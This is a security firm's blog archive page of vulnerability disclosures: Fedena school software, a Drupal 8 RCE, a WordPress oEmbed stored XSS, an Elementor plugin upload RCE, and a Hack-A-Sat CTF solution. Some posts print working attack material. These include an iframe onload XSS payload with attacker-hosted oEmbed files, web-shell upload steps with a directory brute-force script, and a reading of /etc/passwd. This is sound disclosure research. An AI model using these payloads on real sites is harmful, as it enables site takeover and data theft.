Today we publish seven findings within Fedena School Management Software version 2.3 as summarised below: Common Vulnerabilities and Exposures (CVE) Vulnerability Risk CVE-2021-27980 Authentication Bypass A remote unauthenticated threat actor can gain control over any user account including the Fedena admin by cookie spoofing using publicly available knowledge. CVE-2021-27974 RCE A remote unauthenticated threat actor can execute commands on the operating system using publicly available tooling and available knowledge. CVE-2021-27979 SQL Injection An authenticated user can execute arbitrary SQL commands and can compromise all data stored. CVE-2021-27976 Broken Access Controls A lower privileged user can execute functionality not visible to them via their UI. Crucially this enabled SQL Injection from a lower privileged user. CVE-2021-27975 CVE-2021-27977 CVE-2021-27978 3x XSS An authenticated user can embed arbitrary HTML and JavaScript commands which will execute within the browser of another user. The most likely impact is privilege escalation and subsequently data theft. Pentest do not take disclosure of vulnerabilities which impact schools, teachers, children, and their parents lightly. That is especially true when there will be no patches to address them. Unfortunately, that is the case here. Making this disclosure timeline one of the longer ones.  Our tale began in late April 2020 at one of our “Hackathon” events. On that occasion, one team chose to focus on School management and e-Learning software. The Covid-19 pandemic was starting out and remote learning was being embraced rapidly. The team wanted to help ensure that this was being done securely. A brief search found Fedena as an open-source target and some time was scheduled to examine it.  Unfortunately, significant vulnerabilities were relatively easy to locate and exploit.   Mitigation Advice  No patches will be created to address the vulnerabilities outlined above. This is because the open-source version of Fedena is no longer supported. Pentest’s number one recommendation is to migrate to a supported product as soon as possible. Migration is the ideal strategy.  The root cause of the two critical risk vulnerabilities is because the server-side secret is shared between all deployments. It is possible to reduce the risks by:  1. stopping the Fedena application server2. altering the secret (using a securely generated random string); and3. starting the server again.   Doing so will mitigate both the authentication bypass and RCE vulnerabilities. In effect that would reduce the threat profile to legitimate users of Fedena.  However, it is crucial to point out that all the other vulnerabilities would remain exploitable. It is just that they would only be exploitable by registered users. That reduces the threat profile but does not remove all risks.  If possible, protect vulnerable Fedena 2.3 installations using network segregation and/or VPN controls. Explicitly this means remove the application from the Internet and provide remote access to it over secure channels. This strategy would significantly reduce the risks.   Unfortunately doing this is complex and may cause usability issues for remote based students and parents. Schools are not in control of the availability of IT kit or knowledge at home and so a VPN would effectively exclude users which is not workable.  It is also possible to reduce the risk by configuring a web application firewall or other detection solution to recognise the highlighted risks. However, Pentest Ltd believe that this will also be an incomplete solution.  The following table lists our assessment of the applicability of this approach:  Vulnerability Applicability Authentication Bypass Ineffective because traffic should be identical to legitimate authentication request. Just that the authentication token was spoofed. RCE Detection rules should be possible for this. SQL Injection Detection rules should be possible. Broken Access Controls Ineffective because the traffic is legitimate and detection rules lack the context that user A should not be able to access function B. 3x XSS Detection rules should be possible. If you are reading this and you can provide a solution to the others via detection, then we would be delighted to work with you.  While mitigation can reduce the risks ultimately Fedena 2.3 is unsupported software with known vulnerabilities which relies on seriously outdated Rail Gems. Put bluntly it will remain a security risk wherever it is used.  How widespread is this software? When version 2.3 was released the release page included this statement:  ”Fedena now powers more than 40,000 institutions around the world. It includes the most notable implementation in 15,000 Schools of Kerala – India, which is now a case study for successful implementation of big data e-gov projects across the world.” https://fedena.com/blog/2013/04/fedena-2-3-is-released-to-public-on-teachers-day-of-india.html   After discovering these vulnerabilities Pentest used Shodan, and Google Dork techniques and identified thirty instances online in 2020. This did not match the high number of institutions listed in the release announcement.   The answer may be that Fedena is rarely deployed facing the Internet, but it may remain reasonably popular within schools. Pentest can make no assumptions around how widespread Fedena 2.3 may be on Internal networks since these cannot be detected remotely.  This is not going down in the annals of disclosures that affect millions of sites. However, we were conscious that each exposed installation contains children’s personal information. Exploitation could affect the safety of children making it impactful, nonetheless.   Disclosure Complexity  Disclosure of this was complex for a couple of reasons.  First, the vendor effectively no longer existed. Fedena 2.3 was the final open-source version. It was maintained by ProjectFedena.org. There seems to be no activity at all from ProjectFedena.org or the GitHub repository in the last 8 years. Though there were support tickets on GitHub for people installing it recently indicating some usage. No response was received from ProjectFedena.org via their contact form. This made things complex because there was no vendor to engage with and ensured that no patch was going to arrive to solve the problem.  Secondly, multiple open source and commercial forks of the vulnerable software were observed. A company called Foradian looks to have grown from ProjectFedena.org and they now sell a commercial version known as Fedena Pro. When ProjectFedena.org ended the community tried to take it forward with projects such as “Fedena-Upgradation” and others. Additionally, a post on ProjectFedena.org pointed towards “Sampoorna”. This was a fork of Fedena maintained for use in Kerala, India in over 15,000 schools with over 7 million students.   The forks may or may not be vulnerable to all or some of the vulnerabilities discussed. Neither Fedena Pro, or Sampoorna could be targeted as the vendors did not authorise testing. It is possible that the issues discovered will affect various vendors that have not

Multiple Vulnerabilities in Fedena 2.3 School Management Software Read More »

The (Remote) Road to Pwn2Own Tokyo 2020 | Pentest Limited

The (Remote) Road to Pwn2Own Tokyo 2020

On Friday 6th of November, our very own Head of Research, Sam Thomas, took part in Pwn2Own Tokyo 2020. The event was streamed live from Toronto (due to the current Coronavirus restrictions) and all participants took part remotely, so we weren’t in Tokyo or Toronto (confusing right?). What is Pwn2Own? Pwn2Own has been around for 15 years now and the contest has grown to become one of the world’s largest hacking contests, with multiple events being held across the year. All Pwn2Own contests follow the same general approach. Months before the event, the organisers will release a list of devices/software that they want participants to try to find exploits in. The researchers will then submit a detailed whitepaper explaining their exploits and detailed instructions and how to run them, Zero Day Initiative (ZDI) staff will verify this, and a shortlist will be chosen to demonstrate their findings on the actual device/software during the live event. Teams are drawn into random lots to demonstrate their findings and a successful new exploit earns participants points. As always, points mean prizes, in this case cash. Points are added together and the team/participant with the most points at the end takes the overall ‘Master of Pwn’ title and trophy. In terms of the exploits, once demonstrated, these are confidentiality disclosed to ZDI, who work directly with the manufacturers of the devices/software to develop security patches. The devices on offer this year The Tokyo Pwn2Own event focusses on connected devices such as mobile phones, TVs, smart speakers and wireless routers and a full list of the devices covered in the competition can be found here. Our efforts were focused solely on the NAS (Network-Attached Storage) category and particularly the Western Digital My Cloud Pro Series PR4100 NAS device (try saying that fast 3 times), therefore we didn’t expect to compete for the overall ‘Master of Pwn’ title. The goal set by the organisers on this NAS – achieve Remote Code Execution and receive a $20,000 cash prize, alongside 2 Master of Pwn points. The research begins We targeted this device because it has had a history of web application vulnerabilities and we began by carefully studying the attack surface exposed to unauthenticated users/attackers, as you would expect there was not very much. We eventually identified a subtle issue which would allow us to access further functionality, and after further investigation were able to leverage the issue to gain complete control of the device. Jackpot! But not so fast, a prize in the Pwn2Own contest is never guaranteed and success can often come down to the luck of the draw. If we we’re drawn first in the demonstrations then the prize would be ours (assuming the demo ran successfully), but if another team went before us and demonstrated the same exploit, they’d get the glory and we’d walk away with nothing. Things take a turn for the worse With our exploit safely in the bag, we thought it was a case of sitting back and waiting for the event to start. How wrong we were. A few days before the event, the vendor released a patch, fixing the issues we had discovered and completely breaking our exploit chain. We always recommend users patch software/devices and highly encourage vendors to release these vital security updates, but this is the one time we really wish they hadn’t. So, what now? PIVOT!With a few days remaining until the contest, it was all hands-on deck to find another exploit which we could use. Sam worked tirelessly and somehow managed to find another exploit just in the nick of time. It wasn’t quite the exploit we had previously but given the time constraints it was the best we were going to get. Shortly after this, the draw was made, we were fourth to demo on this device. Not great, but we had a new exploit and we just had to hope it hadn’t been found by another team. The event itself At 2pm Toronto time, 7pm our time, it was our turn to demo our new finding live. We ran the exploit and a few seconds later our demo was successful, we had achieved arbitrary code execution through a combination of two bugs. Now, it was off to the disclosure room to disclose our findings and hope it hadn’t been submitted by any of the 3 previous teams. (Sam demonstrating his exploit live at Pwn2Own Tokyo 2020) Sadly, one bug had already been demonstrated earlier in the contest (the bad luck of the draw), but thankfully the other one hadn’t. This meant it was classed as a ‘partial win’ and earned Pentest $10,000 and one Master of Pwn point. Huzzah! So, what about our exploit? At this moment, the remediation process is still ongoing, and a patch hasn’t been released by the vendor. This means we can’t disclose the full details, as it could be used by malicious attackers to compromise this device out in the wild, but rest assured, as soon as the patch is released, we will let you know all about it. So, keep your eyes peeled for our detailed technical research piece coming asap.

The (Remote) Road to Pwn2Own Tokyo 2020 Read More »

Drupal 8 Remote Code Execution by estimating installation time of site (CVE-2020-13664) | Pentest Limited

Drupal 8 Remote Code Execution by estimating installation time of site (CVE-2020-13664)

A Cross-Site Request Forgery vulnerability existed in the “interface translation” core module that could be abused to trick a victim into creating arbitrary directories on the server. With the directory path information and a reasonable estimate of the installation time of the site, a remote, unauthenticated attacker could create a state that allowed for the execution of arbitrary code on a Drupal 8 or 9 installation. Affected versions: Drupal < 8.8.8 Drupal < 8.9.1 Drupal < 9.0.1 Drupal 7.x was not vulnerable. ** Update ** As suggested by @julianpentest, the use of the “Last-Modified” HTTP header can provide a very reasonable guess of the installation time of a site. Using a list of known files will help narrow down the required value to a small set, which could significantly reduce the time required for the brute forcing. Requirements  The attack works best against Windows, even though it is theoretically possible against Linux. The requirements for the attack to succeed are: Knowledge of the site installation time. The value can be approximated based on public knowledge, for example by monitoring changes to the site and correlating recent releases of Drupal, and subsequently brute-forced to find the exact value. Ability to create a directory in a specific location in the document root. For this demonstration, this was achieved via a Cross-Site Request Forgery attack by enticing an administrative user to view a malicious web page while logged on the site. This CSRF attack only works if the site has the “interface translation” module installed. Other methods may exist to create arbitrary directories on a Drupal site with less stringent requirements. An attacker able to satisfy these requirements would be able to set up a “test site” on a live Drupal Windows installation and write arbitrary content to the root of the web server, ultimately achieving remote code execution. While the previous requirements are sufficient against a Windows installation, for the attack to be feasible against Linux the requirements vary slightly: Knowledge of the following properties of the file “bootstrap.inc”: – change time (not creation time) – inode number Ability to create a directory as above   The inode value is sequential; even though it could be estimated based on the inode number of other files, it would significantly increase the time required for brute-forcing. This makes Linux systems harder to attack. Root Cause  To determine whether a request is meant for a “test site”, Drupal inspects the value of every request’s “User-Agent” HTTP header against a pseudo-random value calculated by combining various sources of entropy. This code snippet taken from the file “boostrap.inc” demonstrates the problem: function drupal_valid_test_ua($new_prefix = NULL) { […] $key_file = DRUPAL_ROOT . ‘/’ . $test_db->getTestSitePath() . ‘/.htkey’; if (!is_readable($key_file)) { header($_SERVER[‘SERVER_PROTOCOL’] . ‘ 403 Forbidden’); exit; } $private_key = file_get_contents($key_file); // The file properties add more entropy not easily accessible to others. $key = $private_key . filectime(__FILE__) . fileinode(__FILE__); […] As the code shows, the “key” is calculated by concatenating: The content of a “.htkey” file contained in a specific path (more on this later) The creation time and inode of the file “boostrap.inc” The problems with this approach were: If the file “.htkey” was to be a directory, file_get_contents() would return an empty string Microsoft Windows has no concept of inode number (although there’s file id on NTFS, but that is not relevant at the moment); this value is set by PHP to 0 When a user accesses a site for the first time, Drupal would present them with a friendly interface to set it up as a new installation. This includes creating an administrative user and asking the user for details of the database to connect to. By creating a directory in a carefully chosen path and by guessing the creation time of “boostrap.inc”, an attacker could trick Drupal into believing certain requests were meant for a “test site” by submitting carefully crafted “User-Agent” strings. Because the test site would not have been configured, an attacker would then be able to point the new site to an external database (under their control) to use as back-end. Then, by inserting a malicious payload in the database and visiting a specific page on the newly installed malicious site, the attacker could trigger a deserialisation vulnerability that would ultimately write arbitrary content on disk, thus allowing full system-level access to the underlying server with the same privilege level as the user running the web server. None of the above would disrupt the actual site, as the malicious test site would only be accessible with the correct “User-Agent” string. To sum up, the attack consisted in the following steps: Creation of a directory in the document root (via cross-Site Request Forgery or other means) Brute-forcing the timestamp of the “boostrap.inc” file via custom “User-Agent” strings Installation of a hidden “test site” using an attacker-controlled database as back-end Injection of a de-serialisation payload in the database and request of a specific page, triggering the creation of arbitrary content on the root of the web server Details on the “test site” header bypass The following code shows in more details how the check to determine whether the request was meant for a test site worked: […] if (isset($user_agent) && preg_match(“/^simple(w+d+):(.+):(.+):(.+)$/”, $user_agent, $matches)) { list(, $prefix, $time, $salt, $hmac) = $matches; $check_string = $prefix . ‘:’ . $time . ‘:’ . $salt; […] $test_hmac = Crypt::hmacBase64($check_string, $key); if ($time_diff >= 0 && $time_diff <= 600 && hash_equals($test_hmac, $hmac)) { // it’s a test site […] As the bottom two lines of the snippet show, the final test passes if the two values “test_hmac” and “hmac” are identical (ignoring the “time_diff” comparison for now). The first one “test_hmac” is calculated by applying the “hmacBase64” function to “check_string” and “key”;  this value must match the second one “hmac” which is taken from the user-agent string. Let us dig into how “test_hmac” is made first by using the following “User-Agent” header as an example: User-Agent: simpletest5:ts:salt:bTEL6q4[…]p226Q The header value is composed of four parts: A prefix

Drupal 8 Remote Code Execution by estimating installation time of site (CVE-2020-13664) Read More »

Pentest Limited | Information Security Assurance

CVE-2020-13664

CVE ID – CVE-2020-13664 SECURITY RISK – Critical – 17/25 AC:Complex/A:None/CI:All/II:All/E:Theoretical/TD:Uncommon AFFECTED PRODUCTS – Drupal Core VULNERABILITY – Remote Code Execution (RCE) VULNERABILITY DETAILS – Drupal 8 and 9 have a remote code execution vulnerability under certain circumstances. An attacker could trick an administrator into visiting a malicious site that could result in creating a carefully named directory on the file system. With this directory in place, an attacker could attempt to brute force a remote code execution vulnerability. Windows servers are most likely to be affected. ADVICE – The vendor has released an update to patch this vulnerability: If you are using Drupal 8.8.x, upgrade to Drupal 8.8.8. If you are using Drupal 8.9.x, upgrade to Drupal 8.9.1. If you are using Drupal 9.0.x, upgrade to Drupal 9.0.1. CREDIT – Sam Thomas, Lorenzo Grespan  Read the indepth research on CVE-2020-13664 >

CVE-2020-13664 Read More »

A subtle stored-XSS in WordPress core (CVE-2020-4046) | Pentest Limited

A subtle stored-XSS in WordPress core (CVE-2020-4046)

A long-lived XSS vulnerability was patched in WordPress 5.4.2. It allowed any authenticated user, with privileges to create or edit a post, to embed arbitrary JavaScript within the post. When the post was later viewed the code executed in the context of the site. Here is a video demonstrating the issue: Full Technical Details The embedding functionality will fetch HTML from a user supplied URL and attempt to embed it securely within the target site. This is done by only allowing the embedded HTML to contain a limited set of tags (iframe and blockquote) and strictly limiting the attributes allowed on these elements. Root Cause The vulnerability occurs due to a filter function “wp_filter_oembed_iframe_title_attribute”, this was run after other sanitisation has taken place: function wp_filter_oembed_iframe_title_attribute( $result, $data, $url ) { if ( false === $result || ! in_array( $data->type, array( 'rich', 'video' ) ) ) { return $result; } $title = ! empty( $data->title ) ? $data->title : ''; $pattern = '`<iframe[^>]*?title=(\\'|\\"|['"])([^>]*?)1`i'; $has_itle_attr = preg_match( $pattern, $result, $matches ); if ( $has_title_attr && ! empty( $matches[2] ) ) { $title = $matches[2]; } /** * Filters the title attribute of the given oEmbed HTML iframe. * * @since 5.2.0 * * @param string $title The title attribute. * @param string $result The oEmbed HTML result. * @param object $data A data object result from an oEmbed provider. * @param string $url The URL of the content to be embedded. */ $title = apply_filters( 'oembed_iframe_title_attribute', $title, $result, $data, $url ); if ( '' === $title ) { return $result; } if ( $has_title_attr ) { // Remove the old title, $matches[1]: quote, $matches[2]: title attribute value. $result = str_replace( ' title=' . $matches[1] . $matches[2] . $matches[1], '', $result ); } return str_ireplace( '<iframe ', sprintf( '<iframe title="%s" ', esc_attr( $title ) ), $result ); This function looks for the title attribute of the first (usually only) iframe element, then attempts to remove the value in the highlighted line. This can be abused to cause other attributes to exist on the iframe tag, by supplying html such as: <blockquote><iframe title=' width="'></iframe></blockquote><iframe src='noexist' title='xxx' height=' title=' width="'' onload='alert(123)'"></iframe> Here the two IFRAMEs have the following attributes: IFRAME 1 title width=” IFRAME 2 src noexist title Xxx height title= width ‘’ onload=’alert(123)’ When line 33 is executed, every occurrence of the string: title=’ width=”‘ will be removed. So: <blockquote><iframe title=' width="'></iframe></blockquote><iframe src='noexist' title='xxx' height=' title=' width="'' onload='alert(123)'"></iframe> will become <blockquote><iframe ></iframe></blockquote><iframe src='noexist' title='xxx' height=' ' onload='alert(123)'"></iframe> Which gives IFRAMEs the following attributes: IFRAME 1 IFRAME 2 src noexist title xxx height onload alert(123) The JavaScript added to the onload attribute was executed whenever this post is viewed. Impact The design of WordPress means XSS bugs are particularly impactful.  @g0blinResearch wrote an excellent article some years ago (https://g0blin.co.uk/xss-and-WordPress-the-aftermath/) describing the impact of XSS on WordPress. The payloads demonstrated within both still work today with some small modifications, meaning that provided an administrative user views our post we can take complete control of the site. Demonstration To exploit the issue an attacker needed to host two files on a web server under their control (the content of these files is shown later). For exploitation to work the victim server must be able to access the attacker’s web server to download the payload. Robust outbound controls on the server-side would prevent exploitation. However, enabling such security controls would prevent WordPress from embedding any URLs which is a practical necessity and is therefore rarely implemented. We created a payload based on the article above. This modified the plugin file to edit to “hello.php” which is present and accessible by default on all WordPress instances and made a few other minor alterations. That payload was encoded using https://eve.gd/2007/05/23/string-fromcharcode-encoder/ to avoid various escaping issues. In this demonstration we hosted “payload.htm” at payload.htm: <HTML> <HEAD> <LINK type="application/json+oembed" href="http://attackbox1.pentest.co.uk/payload.json"> </HEAD> </HTML> payload.json: { "type":"rich", "html":"<blockquote><iframe title=' width="'></iframe></blockquote><iframe src='noexist' title='xxx' height=' title=' width="'' onload='eval(String.fromCharCode(118,97,114,…))'"></iframe>" } Note: the full encoded payload has been truncated to avoid it being trivially weaponised before vulnerable sites can be updated. Now we login to the victim site as a user with at least contributor permissions and create a post which embeds our content: When an administrator subsequently reviews the post: Our payload is executed, and the file hello.php is modified to allow us to execute arbitrary system commands:

A subtle stored-XSS in WordPress core (CVE-2020-4046) Read More »

Pentest Limited | Information Security Assurance

CVE-2020-4046

CVE ID – CVE-2020-4046 CVSS SCORE – 5.4 (AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N) AFFECTED VENDORS – WordPress AFFECTED PRODUCTS – Version 5.4 and earlier VULNERABILITY DETAILS – an XSS issue where authenticated users with low privileges are able to add JavaScript to posts in the block editor ADVICE – Pentest recommend updating to version 5.4.2 to address the vulnerability CREDIT – Sam Thomas  Read the indepth research on CVE-2020-4046 >

CVE-2020-4046 Read More »

I Like to Watch - Hack-A-Sat CTF Solution | Pentest Limited

I Like to Watch – Hack-A-Sat CTF Challenge Solution

On 23rd of May, Pentest took part in the Hack-A-Sat CTF challenge run by The United States Air Force in conjunction with the Defense Digital Service. As discussed in the previous insight piece, the CTF categories included: – Astronomy, Astrophysics, Astrometry, Astrodynamics (AAAA) – Satellite Bus – Ground Segment – Communication Systems – Payload Modules – Space and Things Below we outline the solution to one of the CTF challenges within the Astronomy, ‘Astrophysics, Astrometry, Astrodynamics, AAAA’ category, specifically the challenge called ‘I Like to Watch’. The overview The brief provided by the Hack-A-Sat CTF challenge was to connect via netcat to an open port on the Internet and provide our Team’s ticket. This provided the following challenge: We’ve captured data from a satellite that shows a flag located at the base of the Washington Monument. The image was taken on March 26th, 2020, at 21:52:07The satellite we used was:REDACT1 13337U 98067A   20087.38052801 -.00000452  00000-0  00000+0 0  99952 13337  51.6460  33.2488 0005270  61.9928  83.3154 15.48919755219337Use a Google Earth Pro KML file to ‘Link’ to http://18.191.77.141:10450/cgi-bin/HSCKML.pyand ‘LookAt’ that spot from where the satellite when it took the photo and get us that flag! In addition to this, the Hack-A-Sat CTF provided an example KML file that looked like this <?xml version="1.0" encoding="UTF-8"?> <kml xmlns="http://www.opengis.net/kml/2.2"> <Folder> <name>HackASatCompetition</name> <visibility>0</visibility> <open>0</open> <description>HackASatComp1</description> <NetworkLink> <name>View Centered Placemark</name> <visibility>0</visibility> <open>0</open> <description>This is where the satellite was located when we saw it.</description> <refreshVisibility>0</refreshVisibility> <flyToView>0</flyToView> <LookAt id="ID"> <!– specific to LookAt –> <longitude>FILL ME IN</longitude> <!– kml:angle180 –> <latitude>FILL ME IN TOO</latitude> <!– kml:angle90 –> <altitude>FILL ME IN AS WELL</altitude> <!– double –> <heading>FILL IN THIS VALUE</heading> <!– kml:angle360 –> <tilt>FILL IN THIS VALUE TOO</tilt> <!– kml:anglepos90 –> <range>FILL IN THIS VALUE ALSO</range> <!– double –> <altitudeMode>clampToGround</altitudeMode> </LookAt> <Link> <href>http://FILL ME IN:FILL ME IN/cgi-bin/HSCKML.py</href> <refreshInterval>1</refreshInterval> <viewRefreshMode>onStop</viewRefreshMode> <viewRefreshTime>1</viewRefreshTime> <viewFormat>BBOX=[bboxWest],[bboxSouth],[bboxEast],[bboxNorth];CAMERA=[lookatLon] ,[lookatLat],[lookatRange],[lookatTilt],[lookatHeading];VIEW=[horizFov],[vertFov] ,[horizPixels],[vertPixels],[terrainEnabled]</viewFormat> </Link> </NetworkLink> </Folder> </kml> Firstly, what is KML? When in doubt, Google:KML (Keyhole Markup Language), is a file format used to display geographic data in an Earth browser such as Google Earth. You can create KML files to pinpoint locations, add image overlays, and expose rich data in new ways. KML is an international standard maintained by the Open Geospatial Consortium, Inc. (OGC). Now, what is TLE? Looking at the satellite information provided within the challenge description: REDACT 1 13337U 98067A   20087.38052801 -.00000452  00000-0  00000+0 0  9995 2 13337  51.6460  33.2488 0005270  61.9928  83.3154 15.48919755219337 We figured out it was written in TLE format. According to Wikipedia: A two-line element set (TLE) is a data format encoding a list of orbital elements of an Earth-orbiting object for a given point in time, the epoch. Using suitable prediction formula, the state (position and velocity) at any point in the past or future can be estimated to some accuracy. The TLE data representation is specific to the simplified perturbations models (SGP, SGP4, SDP4, SGP8 and SDP8), so any algorithm using a TLE as a data source must implement one of the SGP models to correctly compute the state at a time of interest. TLEs can describe the trajectories only of Earth-orbiting objects. The quest The challenge was somewhat confusing as the description tag: <description>This is where the satellite was located when we saw it.</description> Within the provided example KML file seemed to suggest that the KML “LookAt” coordinates should reflect the satellite’s location whereas the challenge description referred to the base of the Washington Monument as the spot to “LookAt” as well as the flag’s location. Also, the KML description did not clarify where the observers were at when they saw the satellite: – were they located at the base of the monument?– somewhere else on the Earth?– The Moon…? 🙂 At first, using the KML reference, we built a valid KML file that included the known location of the Washington Monument: The latitude of Washington Monument, Washington DC, USA is 38.889484, and the longitude is -77.035278. We set the remaining settings (Altitude, Heading, Tilt, Range) to their default values or examples values taken from the KML LookAt documentation. We obtained the following settings: <longitude>-77.035278</longitude> <!– kml:angle180 –> <latitude>38.889484</latitude> <!– kml:angle90 –> <altitude>0</altitude> <heading>0</heading> <!– kml:angle360 –> <tilt>45</tilt> <!– kml:anglepos90 –> <range>500</range> We also added the Link setting to link the KML server referenced in the challenge description: <Link> <href>http://18.191.77.141:10450/cgi-bin/HSCKML.py</href> After loading the KML file configured with the settings above into Google Earth Pro software we were able to see the monument: But no signs of the flag except for the “Keep Looking…” text that was fetched from the linked server as we could see in the intercepted request/response: Request: GET /cgi-bin/HSCKML.py?BBOX=-77.05324143744043,38.88630815814003,-77.01731456255952,38.90964858140188;CAMERA=-77.03527799999998 ,38.88959468960392,517.4299999999999,45,0;VIEW=60,48.874,756,595,1 HTTP/1.1 Response: HTTP/1.1 200 OK Server: Apache/2.4.18 (Ubuntu) Content-Type: application/vnd.google-earth.kml+xml d2 <?xml version="1.0" encoding="UTF-8"?> <kml xmlns="http://www.opengis.net/kml/2.2"> <Placemark> <name>Keep Looking…</name> <Point> <coordinates>-77.035278,38.889595</coordinates> </Point> </Placemark> </kml> Digging through the documentation we also found a timestamp setting that we set to the date provided in the challenge description: <kml xmlns="http://www.opengis.net/kml/2.2" xmlns:gx="http://www.google.com/kml/ext/2.2" … <gx:TimeStamp> <when>2020-03-26T21:52:07Z</when> </gx:TimeStamp> … However, this did not seem to make any difference and we moved on to decode the TLE data to try to obtain the satellite’s coordinates based on the provided TLE data set. Satellite location We found a TLE-tools library and used it to decode the provided data. The library only returned some basic info: TLE(name='REDACT', norad='13337', classification='U', int_desig='98067A', epoch_year=2020, epoch_day=87.38052801, dn_o2=-4.52e-06, ddn_o6=0.0, bstar=0.0, set_num=999, inc=51.646, raan=33.2488, ecc=0.000527, argp=61.9928, M=83.3154, n=15.48919755, rev_num=21933) To complete the challenge, we needed to get the exact satellite coordinates.  Looking for available tools we came across a tle-calc.py script which promised to deliver satellite position (in ECEF coordinate system) based on sgp4 model at a specified time. When provided with the date mentioned in the challenge description (March 26th, 2020, at 21:52:07) and the TLE data set, the script returned the following coordinates: 2020,03,26,21,52,07.000000, 2029.72655181, 5206.47627522, 3857.06394627 Which should represent the X, Y, and Z coordinates in the ECEF coordinate system. This should allow us to calculate longitude and latitude angles within the triangles shown in the image titled ‘ECEF coordinates in relation to latitude and longitude’ on Wikipedia ECEF

I Like to Watch – Hack-A-Sat CTF Challenge Solution Read More »

RCE in WordPress Elementor Plugin (CVE-2020-7055) | Pentest Limited

RCE in WordPress Elementor Plugin (CVE-2020-7055)

Introduction Elementor is an extremely popular WordPress plugin, with over 2,000,000 active installs according to builtwith.com. Our research focussed on the free version, we believe the issue described below also affected the paid for version. Elementor released a fix to this issue a day after we reported it. Details Elementor includes functionality which allows a sufficiently privileged user (WordPress role “Contributor” or above) to upload templates from their local file system for use in blog posts. We identified a flaw in the way this functionality was processing the uploaded file. By abusing this flaw, we found it was possible to upload an executable php shell and execute commands on the remote server. The vulnerable upload is shown below: Figure 1 – Import Templates as Contributor user A simple zip file was crafted which contained a php file inside a directory. The function “Source_Local::import_template” does not properly account for being supplied a .zip file containing unexpected subdirectories. The following shows the vulnerable ‘import_template’ function: /** * Import local template. * * Import template from a file. * * @since 1.0.0 * @access public * * @param string $name – The file name * @param string $path – The file path * * @return WP_Error|array An array of items on success, 'WP_Error' on failure. */ public function import_template( $name, $path ) {     if ( empty( $path ) ) {         return new WP_Error( 'file_error', 'Please upload a file to import' );     }     $items = [];     $file_extension = pathinfo( $name, PATHINFO_EXTENSION );     if ( 'zip' === $file_extension ) {         if ( ! class_exists( 'ZipArchive' ) ) {              return new WP_Error( 'zip_error', 'PHP Zip extension not loaded' );     }     $zip = new ZipArchive();     $wp_upload_dir = wp_upload_dir();     $temp_path = $wp_upload_dir['basedir'] . '/' . self::TEMP_FILES_DIR . '/' . uniqid();     $zip->open( $path );     $zip->extractTo( $temp_path );     $zip->close();     $file_names = array_diff( scandir( $temp_path ), [ '.', '..' ] );     foreach ( $file_names as $file_name ) {         $full_file_name = $temp_path . '/' . $file_name;         $import_result = $this->import_single_template( $full_file_name );         unlink( $full_file_name );         if ( is_wp_error( $import_result ) ) {              return $import_result;         }         $items[] = $import_result;    }    rmdir( $temp_path ); } else { $import_result = $this->import_single_template( $path ); if ( is_wp_error( $import_result ) ) { return $import_result; } $items[] = $import_result; } return $items; } The function will attempt to process any subdirectories as if they were a file, and then delete them without deleting the files contained within. This will cause the highlighted unlink and rmdir operations to fail. After an error for “Invalid file” is thrown, the directory remains in place with the php file within it as shown below: 5db2035c979f3 └──test     └── simple-backdoor.php 1 directory, 1 file $temp_path = $wp_upload_dir['basedir'] . '/' . self::TEMP_FILES_DIR . '/' . uniqid(); The parent directory is named from the PHP uniqid() function (shown above) which uses the date and time down to the millisecond represented as a hexadecimal string[1]. We can approximate this value using a simple script to output the time when we believe the directory was created. This approximation will match the value used in all but the last 5 characters. We can determine these characters by using a brute-force attack. This is trivial for an attacker with a maximum number of combinations of 1048576 directories to be tried. In our lab environment it took 4 hours to find the upload directory, sending 455000 requests. The process could be optimised by attempting to upload multiple times, as close together as possible, thus improving our chances of finding a directory quickly1 Figure 2 – Intruder successfully bruteforcing the last 5 characters of the directory name. After finding the directory name we can browse to the location of our simple-backdoor.php file, and execute commands on the server as shown below: Figure 3 – Executing cat /etc/passwd on the server The following video demonstrates a complete exploit against a test instance of WordPress with the plugin installed in our lab environment. We used GoBuster to efficiently brute-force the directory name. Scripts used in the video are included below. Timeline 28/10/19 Issue report.29/10/19 Fix issued. Tools BurpSimple Web Shell GoBuster  Scripts Generate our directory list ‘python2 gen.py ’ from itertools import product import sys def gen():     i = 0     while i < 16**5:         yield "{:05X}".format(i)         i+=1 with open('directories.txt', 'w') as dirlist:     for s in gen():         dirlist.write(sys.argv[1]+s.lower()+'n') d = sys.argv[1] Our script to send our request and output our uniqid value ‘python2 sendreq.py ’ This script was made purely for our instance and will not work with an SSL enabled instance. import time import socket import sys def uniqid(prefix = ''): return prefix + hex(int(time.time()))[2:10] + hex(int(time.time()*1000000) % 0x100000)[2:7] # Credit: https://www.onevgo.com/post/view?id=1527 def send_req(req): f = open(req, 'rb') req = f.read() f.close() s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('127.0.0.1' 8000)) #this is because we are hosting on localhost change this to target and port print uniqid() #first output is before req is sent s.send(req) print uniqid() #second output is after req is sent s.close() req = sys.argv[1] send_req(req) References [1] https://www.php.net/manual/en/function.uniqid.php

RCE in WordPress Elementor Plugin (CVE-2020-7055) Read More »

Pentest Limited

CVE-2020-10243

CVE ID – CVE-2020-10243 CVSS SCORE – 5.8 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:P/RL:O/RC:C) AFFECTED VENDORS – Joomla! AFFECTED PRODUCTS – Joomla! CMS versions 1.7.0 – 3.9.15 VULNERABILITY DETAILS – The lack of type casting of a variable in SQL statement leads to a SQL injection vulnerability in the “Featured Articles” frontend menutype. ADVICE – Update to version 3.9.16 DISCLOSURE TIMELINE: 09/03/2020 Disclosure to vendor 10/03/2020 Fix released CREDIT – Sam Thomas 

CVE-2020-10243 Read More »

Cross-Site Scripting (XSS) in GistPress WordPress Plugin (CVE-2020-8498) | Pentest Limited

Cross-Site Scripting (XSS) in GistPress WordPress Plugin (CVE-2020-8498)

